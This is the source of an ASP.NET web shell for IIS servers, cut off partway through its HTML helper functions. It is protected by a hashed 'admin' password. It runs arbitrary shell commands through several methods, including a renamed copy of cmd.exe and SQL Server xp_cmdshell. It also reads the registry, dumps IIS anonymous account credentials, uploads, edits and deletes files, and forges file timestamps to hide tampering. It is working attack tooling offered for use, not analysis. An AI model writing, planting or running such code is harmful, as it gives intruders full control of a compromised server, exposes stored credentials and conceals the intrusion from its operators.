<%@ Page ContentType="text/html" validateRequest="false" EnableTheming="False" StylesheetTheme="" Theme="" aspcompat="true"%>
<%@ Import Namespace="System.IO" %>
<%@ import namespace="System.Diagnostics" %>
<%@ import namespace="System.Threading" %>
<%@ import namespace="System.Text" %>
<%@ import namespace="System.Security.Cryptography" %>
<%@ Import Namespace="System.Net.Sockets"%>
<%@ Assembly Name="System.DirectoryServices, Version=2.0.0.0, Culture=neutral, PublicKeyToken=B03F5F7F11D50A3A" %>
<%@ import Namespace="System.DirectoryServices" %>
<%@ import Namespace="Microsoft.Win32" %>
<script language="VB" runat="server">
Dim PASSWORD as string = "21232f297a57a5a743894a0e4a801fc3" ' admin
dim url,TEMP1,TEMP2,TITLE as string
Function GetMD5(ByVal strToHash As String) As String
Dim md5Obj As New System.Security.Cryptography.MD5CryptoServiceProvider()
Dim bytesToHash() As Byte = System.Text.Encoding.ASCII.GetBytes(strToHash)
bytesToHash = md5Obj.ComputeHash(bytesToHash)
Dim strResult As String = ""
Dim b As Byte
For Each b In bytesToHash
strResult += b.ToString("x2")
Next
Return strResult
End Function
Sub Login_click(sender As Object, E As EventArgs)
if GetMD5(Textbox.Text)=PASSWORD then
session("rooot")=1
session.Timeout=60
else
response.Write("<font color='red'>Your password is wrong! Maybe you press the ""Caps Lock"" buttom. Try again.</font>
")
end if
End Sub
'Run w32 shell
Declare Function WinExec Lib "kernel32" Alias "WinExec" (ByVal lpCmdLine As String, ByVal nCmdShow As Long) As Long
Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long
Sub RunCmdW32(Src As Object, E As EventArgs)
dim command
dim fileObject = Server.CreateObject("Scripting.FileSystemObject")
dim tempFile = Environment.GetEnvironmentVariable("TEMP") & "\"& fileObject.GetTempName( )
If Request.Form("txtCommand1") = "" Then
command = "dir c:\"
else
command = Request.Form("txtCommand1")
End If
ExecuteCommand1(command,tempFile,txtCmdFile.Text)
OutputTempFile1(tempFile,fileObject)
'txtCommand1.text=""
End Sub
Sub ExecuteCommand1(command As String, tempFile As String,cmdfile As String)
Dim winObj, objProcessInfo, item, local_dir, local_copy_of_cmd, Target_copy_of_cmd
Dim objStartup, objConfig, objProcess, errReturn, intProcessID, temp_name
Dim FailIfExists
local_dir = left(request.servervariables("PATH_TRANSLATED"),inStrRev(request.servervariables("PATH_TRANSLATED"),"\"))
'local_copy_of_cmd = Local_dir+"cmd.exe"
'local_copy_of_cmd= "C:\\WINDOWS\\system32\\cmd.exe"
local_copy_of_cmd=cmdfile
Target_copy_of_cmd = Environment.GetEnvironmentVariable("Temp")+"\kiss.exe"
CopyFile(local_copy_of_cmd, Target_copy_of_cmd,FailIfExists)
errReturn = WinExec(Target_copy_of_cmd + " /c " + command + " > " + tempFile , 10)
response.write(errReturn)
thread.sleep(500)
End Sub
Sub OutputTempFile1(tempFile,oFileSys)
On Error Resume Next
dim oFile = oFileSys.OpenTextFile (tempFile, 1, False, 0)
resultcmdw32.text=txtCommand1.text & vbcrlf & "<pre>" & (Server.HTMLEncode(oFile.ReadAll)) & "</pre>"
oFile.Close
Call oFileSys.DeleteFile(tempFile, True)
End sub
'End w32 shell
'Run WSH shell
Sub RunCmdWSH(Src As Object, E As EventArgs)
dim command
dim fileObject = Server.CreateObject("Scripting.FileSystemObject")
dim oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
dim tempFile = Environment.GetEnvironmentVariable("TEMP") & "\"& fileObject.GetTempName( )
If Request.Form("txtcommand2") = "" Then
command = "dir c:\"
else
command = Request.Form("txtcommand2")
End If
ExecuteCommand2(command,tempFile)
OutputTempFile2(tempFile,fileObject)
txtCommand2.text=""
End Sub
Function ExecuteCommand2(cmd_to_execute, tempFile)
Dim oScript
oScript = Server.CreateObject("WSCRIPT.SHELL")
Call oScript.Run ("cmd.exe /c " & cmd_to_execute & " > " & tempFile, 0, True)
End function
Sub OutputTempFile2(tempFile,fileObject)
On Error Resume Next
dim oFile = fileObject.OpenTextFile (tempFile, 1, False, 0)
resultcmdwsh.text=txtCommand2.text & vbcrlf & "<pre>" & (Server.HTMLEncode(oFile.ReadAll)) & "</pre>"
oFile.Close
Call fileObject.DeleteFile(tempFile, True)
End sub
'End WSH shell
'System infor
Sub output_all_environment_variables(mode)
Dim environmentVariables As IDictionary = Environment.GetEnvironmentVariables()
Dim de As DictionaryEntry
For Each de In environmentVariables
if mode="HTML" then
response.write(" " +de.Key + " : " + de.Value + "
")
else
if mode="text"
response.write(de.Key + ": " + de.Value + vbnewline+ vbnewline)
end if
end if
Next
End sub
Sub output_all_Server_variables(mode)
dim item
for each item in request.servervariables
if mode="HTML" then
response.write("" + item + " : ")
response.write(request.servervariables(item))
response.write("
")
else
if mode="text"
response.write(item + " : " + request.servervariables(item) + vbnewline + vbnewline)
end if
end if
next
End sub
'End sysinfor
Function Server_variables() As String
dim item
dim tmp As String
tmp=""
for each item in request.ServerVariables
if request.servervariables(item) <> ""
'response.write(item + " : " + request.servervariables(item) + vbnewline + vbnewline)
tmp =+ item.ToString + " : " + request.servervariables(item).ToString + "\n\r"
end if
next
return tmp
End function
'Begin List processes
Function output_wmi_function_data(Wmi_Function,Fields_to_Show)
dim objProcessInfo , winObj, item , Process_properties, Process_user, Process_domain
dim fields_split, fields_item,i
'on error resume next
table("0","","")
Create_table_row_with_supplied_colors("black","white","center",Fields_to_Show)
winObj = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
objProcessInfo = winObj.ExecQuery("Select "+Fields_to_Show+" from " + Wmi_Function)
fields_split = split(Fields_to_Show,",")
for each item in objProcessInfo
tr
Surround_by_TD_and_Bold(item.properties_.item(fields_split(0)).value)
if Ubound(Fields_split)>0 then
for i = 1 to ubound(fields_split)
Surround_by_TD(center_(item.properties_.item(fields_split(i)).value))
next
end if
_tr
next
End function
Function output_wmi_function_data_instances(Wmi_Function,Fields_to_Show,MaxCount)
dim objProcessInfo , winObj, item , Process_properties, Process_user, Process_domain
dim fields_split, fields_item,i,count
newline
rw("Showing the first " + cstr(MaxCount) + " Entries")
newline
newline
table("1","","")
Create_table_row_with_supplied_colors("black","white","center",Fields_to_Show)
_table
winObj = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
' objProcessInfo = winObj.ExecQuery("Select "+Fields_to_Show+" from " + Wmi_Function)
objProcessInfo = winObj.InstancesOf(Wmi_Function)
fields_split = split(Fields_to_Show,",")
count = 0
for each item in objProcessInfo
count = Count + 1
table("1","","")
tr
Surround_by_TD_and_Bold(item.properties_.item(fields_split(0)).value)
if Ubound(Fields_split)>0 then
for i = 1 to ubound(fields_split)
Surround_by_TD(item.properties_.item(fields_split(i)).value)
next
end if
_tr
if count > MaxCount then exit for
next
End function
'End List processes
'Begin IIS_list_Anon_Name_Pass
Sub IIS_list_Anon_Name_Pass()
Dim IIsComputerObj, iFlags ,providerObj ,nodeObj ,item, IP
IIsComputerObj = CreateObject("WbemScripting.SWbemLocator") ' Create an instance of the IIsComputer object
providerObj = IIsComputerObj.ConnectServer("127.0.0.1", "root/microsoftIISv2")
nodeObj = providerObj.InstancesOf("IIsWebVirtualDirSetting") ' - IISwebServerSetting
Dim MaxCount = 20,Count = 0
hr
RW("only showing the first "+cstr(MaxCount) + " items")
hr
for each item in nodeObj
response.write("" + item.AppFriendlyName + " - ")
response.write("(" + item.AppPoolId + ") ")
response.write(item.AnonymousUserName + " : ")
response.write(item.AnonymousUserPass)
response.write("
")
response.flush
Count = Count +1
If Count > MaxCount then exit for
next
hr
End sub
'End IIS_list_Anon_Name_Pass
Private Function CheckIsNumber(ByVal sSrc As String) As Boolean
Dim reg As New System.Text.RegularExpressions.Regex("^0|[0-9]*[1-9][0-9]*$")
If reg.IsMatch(sSrc) Then
Return True
Else
Return False
End If
End Function
Public Function IISSpy() As String
Dim iisinfo As String = ""
Dim iisstart As String = ""
Dim iisend As String = ""
Dim iisstr As String = "IIS://localhost/W3SVC"
Dim i As Integer = 0
Try
Dim mydir As New DirectoryEntry(iisstr)
iisstart = "<TABLE width=100% align=center border=0><TR align=center><TD width=5%><B>Order</B></TD><TD width=20%><B>IIS_USER</B></TD><TD width=20%><B>App_Pool_Id</B></TD><TD width=25%><B>Domain</B></TD><TD width=30%><B>Path</B></TD></TR>"
For Each child As DirectoryEntry In mydir.Children
If CheckIsNumber(child.Name.ToString()) Then
Dim dirstr As String = child.Name.ToString()
Dim tmpstr As String = ""
Dim newdir As New DirectoryEntry(iisstr + "/" + dirstr)
Dim newdir1 As DirectoryEntry = newdir.Children.Find("root", "IIsWebVirtualDir")
i = i + 1
iisinfo += "<TR><TD align=center>" + i.ToString() + "</TD>"
iisinfo += "<TD align=center>" + newdir1.Properties("AnonymousUserName").Value.ToString() + "</TD>"
iisinfo += "<TD align=center>" + newdir1.Properties("AppPoolId").Value.ToString() + "</TD>"
iisinfo += "<TD>" + child.Properties("ServerBindings")(0) + "</TD>"
iisinfo += "<TD><a href="+Request.ServerVariables("PATH_INFO")+ "?action=goto&src=" + newdir1.Properties("Path").Value.ToString() + "\>" + newdir1.Properties("Path").Value + "\</a></TD>"
iisinfo += "</TR>"
End If
Next
iisend = "</TABLE>"
Catch ex As Exception
Return ex.Message
End Try
Return iisstart + iisinfo + iisend
End Function
Sub RegistryRead(Src As Object, E As EventArgs)
Try
Dim regkey As String = txtRegKey.Text
Dim subkey As String = regkey.Substring(regkey.IndexOf("\") + 1, regkey.Length - regkey.IndexOf("\") - 1)
Dim rk As RegistryKey = Nothing
Dim buffer As Object
Dim regstr As String = ""
If regkey.Substring(0, regkey.IndexOf("\")) = "HKEY_LOCAL_MACHINE" Then
rk = Registry.LocalMachine.OpenSubKey(subkey)
End If
If regkey.Substring(0, regkey.IndexOf("\")) = "HKEY_CLASSES_ROOT" Then
rk = Registry.ClassesRoot.OpenSubKey(subkey)
End If
If regkey.Substring(0, regkey.IndexOf("\")) = "HKEY_CURRENT_USER" Then
rk = Registry.CurrentUser.OpenSubKey(subkey)
End If
If regkey.Substring(0, regkey.IndexOf("\")) = "HKEY_USERS" Then
rk = Registry.Users.OpenSubKey(subkey)
End If
If regkey.Substring(0, regkey.IndexOf("\")) = "HKEY_CURRENT_CONFIG" Then
rk = Registry.CurrentConfig.OpenSubKey(subkey)
End If
buffer = rk.GetValue(txtRegValue.Text, "NULL")
dim tmpbyte As Byte = 0
lblresultReg.Text = "
Result : " + buffer.ToString()
Catch ex As Exception
Response.write(ex.Message)
End Try
End Sub
' Begin List Web Site Home Directory Properties
' End List Web Site Home Directory Properties
Sub RunCMD(Src As Object, E As EventArgs)
Try
Dim kProcess As New Process()
Dim kProcessStartInfo As New ProcessStartInfo("cmd.exe")
kProcessStartInfo.UseShellExecute = False
kProcessStartInfo.RedirectStandardOutput = true
kProcess.StartInfo = kProcessStartInfo
kProcessStartInfo.Arguments="/c " & Cmd.text
kProcess.Start()
Dim myStreamReader As StreamReader = kProcess.StandardOutput
Dim myString As String = myStreamReader.Readtoend()
kProcess.Close()
result.text=Cmd.text & vbcrlf & "<pre>" & mystring & "</pre>"
Cmd.text=""
Catch
result.text="This function has disabled!"
End Try
End Sub
Sub CloneTime(Src As Object, E As EventArgs)
existdir(time1.Text)
existdir(time2.Text)
Dim thisfile As FileInfo =New FileInfo(time1.Text)
Dim thatfile As FileInfo =New FileInfo(time2.Text)
thisfile.LastWriteTime = thatfile.LastWriteTime
thisfile.LastAccessTime = thatfile.LastAccessTime
thisfile.CreationTime = thatfile.CreationTime
response.Write("<font color=""red"">Clone Time Success!</font>")
End Sub
sub Editor(Src As Object, E As EventArgs)
dim mywrite as new streamwriter(filepath.text,false,encoding.default)
mywrite.write(content.text)
mywrite.close
response.Write("<script>alert('Edit|Creat " & replace(filepath.text,"\","\\") & " Success!');location.href='"& request.ServerVariables("URL") & "?action=goto&src="& server.UrlEncode(Getparentdir(filepath.text)) &"'</sc" & "ript>")
end sub
Sub UpLoad(Src As Object, E As EventArgs)
dim filename,loadpath as string
filename=path.getfilename(UpFile.value)
loadpath=request.QueryString("src") & filename
if file.exists(loadpath)=true then
response.Write("<script>alert('File " & replace(loadpath,"\","\\") & " have existed , upload fail!');location.href='"& request.ServerVariables("URL") & "?action=goto&src="& server.UrlEncode(request.QueryString("src")) &"'</sc" & "ript>")
response.End()
end if
UpFile.postedfile.saveas(loadpath)
response.Write("<script>alert('File " & filename & " upload success!\nFile info:\n\nClient Path:" & replace(UpFile.value,"\","\\") & "\nFile Size:" & UpFile.postedfile.contentlength & " bytes\nSave Path:" & replace(loadpath,"\","\\") & "\n');")
response.Write("location.href='" & request.ServerVariables("URL") & "?action=goto&src=" & server.UrlEncode(request.QueryString("src")) & "'</sc" & "ript>")
End Sub
Sub NewFD(Src As Object, E As EventArgs)
url=request.form("src")
if NewFile.Checked = True then
dim mywrite as new streamwriter(url & NewName.Text,false,encoding.default)
mywrite.close
response.Redirect(request.ServerVariables("URL") & "?action=edit&src=" & server.UrlEncode(url & NewName.Text))
else
directory.createdirectory(url & NewName.Text)
response.Write("<script>alert('Creat directory " & replace(url & NewName.Text ,"\","\\") & " Success!');location.href='"& request.ServerVariables("URL") & "?action=goto&src="& server.UrlEncode(url) &"'</sc" & "ript>")
end if
End Sub
Sub del(a)
if right(a,1)="\" then
dim xdir as directoryinfo
dim mydir as new DirectoryInfo(a)
dim xfile as fileinfo
for each xfile in mydir.getfiles()
file.delete(a & xfile.name)
next
for each xdir in mydir.getdirectories()
call del(a & xdir.name & "\")
next
directory.delete(a)
else
file.delete(a)
end if
End Sub
Sub copydir(a,b)
dim xdir as directoryinfo
dim mydir as new DirectoryInfo(a)
dim xfile as fileinfo
for each xfile in mydir.getfiles()
file.copy(a & "\" & xfile.name,b & xfile.name)
next
for each xdir in mydir.getdirectories()
directory.createdirectory(b & path.getfilename(a & xdir.name))
call copydir(a & xdir.name & "\",b & xdir.name & "\")
next
End Sub
Sub xexistdir(temp,ow)
if directory.exists(temp)=true or file.exists(temp)=true then
if ow=0 then
response.Redirect(request.ServerVariables("URL") & "?action=samename&src=" & server.UrlEncode(url))
elseif ow=1 then
del(temp)
else
dim d as string = session("cutboard")
if right(d,1)="\" then
TEMP1=url & second(now) & path.getfilename(mid(replace(d,"",""),1,len(replace(d,"",""))-1))
else
TEMP2=url & second(now) & replace(path.getfilename(d),"","")
end if
end if
end if
End Sub
Sub existdir(temp)
if file.exists(temp)=false and directory.exists(temp)=false then
response.Write("<script>alert('Don\'t exist " & replace(temp,"\","\\") &" ! Is it a CD-ROM ?');</sc" & "ript>")
response.Write("
<a href='javascript:history.back(1);'>Click Here Back</a>")
response.End()
end if
End Sub
Sub RunSQLCMD(Src As Object, E As EventArgs)
Dim adoConn,strQuery,recResult,strResult
if SqlName.Text<>"" then
adoConn=Server.CreateObject("ADODB.Connection")
adoConn.Open("Provider=SQLOLEDB.1;Password=" & SqlPass.Text & ";UID=" & SqlName.Text & ";Data Source = " & ip.Text)
If Sqlcmd.Text<>"" Then
strQuery = "exec master.dbo.xp_cmdshell '" & Sqlcmd.Text & "'"
recResult = adoConn.Execute(strQuery)
If NOT recResult.EOF Then
Do While NOT recResult.EOF
strResult = strResult & chr(13) & recResult(0).value
recResult.MoveNext
Loop
End if
recResult = Nothing
strResult = Replace(strResult," "," ")
strResult = Replace(strResult,"<","<")
strResult = Replace(strResult,">",">")
resultSQL.Text=SqlCMD.Text & vbcrlf & "<pre>" & strResult & "</pre>"
SqlCMD.Text=""
End if
adoConn.Close
End if
End Sub
Sub RunSQLQUERY(Src As Object, E As EventArgs)
Dim adoConn,strQuery,recResult,strResult
if txtSqlName.Text<>"" then
adoConn=Server.CreateObject("ADODB.Connection")
adoConn.Open("Provider=SQLOLEDB.1;Password=" & txtSqlPass.Text & ";UID=" & txtSqlName.Text & ";Data Source = " & txtHost.Text)
If txtSqlcmd.Text<>"" Then
strQuery = txtSqlcmd.Text
recResult = adoConn.Execute(strQuery)
If NOT recResult.EOF Then
Do While NOT recResult.EOF
strResult = strResult & chr(13) & recResult(0).value
recResult.MoveNext
Loop
End if
recResult = Nothing
strResult = Replace(strResult," "," ")
strResult = Replace(strResult,"<","<")
strResult = Replace(strResult,">",">")
lblresultSQL.Text=txtSqlCMD.Text & vbcrlf & "<pre>" & strResult & "</pre>"
txtSqlCMD.Text=""
End if
adoConn.Close
End if
End Sub
Function GetStartedTime(ms)
GetStartedTime=cint(ms/(1000*60*60))
End function
Function getIP()
Dim strIPAddr as string
If Request.ServerVariables("HTTP_X_FORWARDED_FOR") = "" OR InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), "unknown") > 0 Then
strIPAddr = Request.ServerVariables("REMOTE_ADDR")
ElseIf InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), ",") > 0 Then
strIPAddr = Mid(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), 1, InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), ",")-1)
ElseIf InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), ";") > 0 Then
strIPAddr = Mid(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), 1, InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), ";")-1)
Else
strIPAddr = Request.ServerVariables("HTTP_X_FORWARDED_FOR")
End If
getIP = Trim(Mid(strIPAddr, 1, 30))
End Function
Function Getparentdir(nowdir)
dim temp,k as integer
temp=1
k=0
if len(nowdir)>4 then
nowdir=left(nowdir,len(nowdir)-1)
end if
do while temp<>0
k=temp+1
temp=instr(temp,nowdir,"\")
if temp =0 then
exit do
end if
temp = temp+1
loop
if k<>2 then
getparentdir=mid(nowdir,1,k-2)
else
getparentdir=nowdir
end if
End function
Function Rename()
url=request.QueryString("src")
if file.exists(Getparentdir(url) & request.Form("name")) then
rename=0
else
file.copy(url,Getparentdir(url) & request.Form("name"))
del(url)
rename=1
end if
End Function
Function GetSize(temp)
if temp < 1024 then
GetSize=temp & " bytes"
else
if temp\1024 < 1024 then
GetSize=temp\1024 & " KB"
else
if temp\1024\1024 < 1024 then
GetSize=temp\1024\1024 & " MB"
else
GetSize=temp\1024\1024\1024 & " GB"
end if
end if
end if
End Function
Sub downTheFile(thePath)
dim stream
stream=server.createObject("adodb.stream")
stream.open
stream.type=1
stream.loadFromFile(thePath)
response.addHeader("Content-Disposition", "attachment; filename=" & replace(server.UrlEncode(path.getfilename(thePath)),"+"," "))
response.addHeader("Content-Length",stream.Size)
response.charset="UTF-8"
response.contentType="application/octet-stream"
response.binaryWrite(stream.read)
response.flush
stream.close
stream=nothing
response.End()
End Sub
'H T M L S N I P P E T S
public sub Newline
response.write("<BR>")
end sub
public sub TextNewline
response.write(vbnewline)
end sub
public sub rw(text_to_print) ' Response.write
response.write(text_to_print)
end sub
public sub rw_b(text_to_print)
rw(""+text_to_print+"")
end sub
public sub hr()
rw("<hr>")
end sub
public sub ul()
rw("<ul>")
end sub
public sub _ul()
rw("</ul>")
end sub
public sub table(border_size,width,height)
rw("<table border='"+cstr(border_size)+"' width ='"+cstr(width)+"' height='"+cstr(height)+"'>")
end sub
public sub _table()
rw("")
end sub
public sub tr()
rw("